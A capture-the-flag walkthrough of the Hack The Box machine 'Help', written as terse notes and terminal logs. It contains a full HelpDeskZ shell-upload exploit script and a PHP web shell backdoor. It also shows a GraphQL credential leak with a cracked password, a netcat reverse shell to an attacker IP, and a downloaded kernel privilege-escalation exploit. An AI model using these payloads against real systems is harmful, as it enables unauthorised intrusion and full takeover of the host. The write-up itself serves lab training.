HELPDESK FILE UPLOAD EXPLOIT

NODEJS USER&PASSWORD

KERNEL EXPLOIT PRIVESC

```
PORT     STATE  SERVICE       VERSION
22/tcp   open   ssh           OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open   http          Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open   http          Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
5424/tcp closed beyond-remote
```

```
root@kali:/home/kali/Desktop/hackthebox/help# gobuster dir -u http://help.htb/ -w /usr/share/wordlists/dirb/common.txt
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.html (Status: 200)
/javascript (Status: 301)
/server-status (Status: 403)
```

/support (Status: 301)

http://help.htb/support/

```
root@kali:/home/kali/Desktop/hackthebox/help# searchsploit helpdeskz
------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                 |  Path
------------------------------------------------------------------------------- ---------------------------------
```

```
HelpDeskZ 1.0.2 - Arbitrary File Upload                                | php/webapps/40300.py
HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download   | php/webapps/41200.py
```

```
root@kali:/home/kali/Desktop/hackthebox/help# date
Tue 07 Jul 2020 10:11:28 AM EDT
root@kali:/home/kali/Desktop/hackthebox/help# curl -i http://10.10.10.121
Date: Tue, 07 Jul 2020 14:13:24 GMT
```

EXPLOIT.pY

```
root@kali:/home/kali/Desktop/hackthebox/help# cat exploit.py
import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

currentTime = int(time.time())

for x in range(0, 300):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()
    url = helpdeskzBaseUrl+'/uploads/tickets/'+md5hash+'.php'

    response = requests.head(url)

    if response.status_code == 200:

        print "found!"

        print url

        sys.exit(0)


print "Sorry, I did not find anything"
```

BACKDOOR.PHP

```
root@kali:/home/kali/Desktop/hackthebox/help# cat backdoor.php

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->


<?php


if(isset($_REQUEST['cmd'])){

        echo "<pre>";

        $cmd = ($_REQUEST['cmd']);

        system($cmd);

        echo "</pre>";

        die;

}


?>


Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd


<!--    http://michaeldaw.org   2006    -->
```

PORT 3000

http://help.htb:3000/graphql?query={user{username}}

helpme@helpme.com

http://help.htb:3000/graphql?query={user{password}}

password: 5d3c93182bb20f07b994a7f617e99cff

godhelpmeplz

preferences→ timezone

ATTEMPTING TO GET SHELL

http://10.10.10.121/support/?v=submit_ticket

```
root@kali:/home/kali/Desktop/hackthebox/help# python exploit.py 'http://help.htb/support/' backdoor.php
```

http://help.htb/support//uploads/tickets/91b9ad23f209af4ccaa3860e9058abb4.php?cmd=which%20nc

help.htb/support//uploads/tickets/91b9ad23f209af4ccaa3860e9058abb4.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.27%201337%20%3E%2Ftmp%2Ff

```
root@kali:/home/kali/Desktop/hackthebox/help# nc -nlvp 1337
```

SHELL GAINED!!!1

```
help@help:/home/help$ uname -a

Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

root@kali:/home/kali/Desktop/tools# searchsploit 4.4.0-116

------------------------------------------------------------------------------- ----------------------------------

 Exploit Title                                                   |  Path

------------------------------------------------------------------------------- ----------------------------------

Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation          | linux/local/44298.c

root@kali:/home/kali/Desktop/hackthebox/help# cp /usr/share/exploitdb/exploits/linux/local/44298.c .

root@kali:/home/kali/Desktop/hackthebox/help# mv 44298.c exploit.c

root@kali:/home/kali/Desktop/hackthebox/help# python -m SimpleHTTPServer 80

help@help:/tmp$ wget 10.10.14.27/exploit.c

help@help:/tmp$ gcc -o exploit exploit.c

help@help:/tmp$ chmod +x exploit

help@help:/tmp$ ./exploit

task_struct = ffff880038fb0000

uidptr = ffff880036b792c4

spawning root shell

root@help:/tmp#
```

ROOTED!!!!!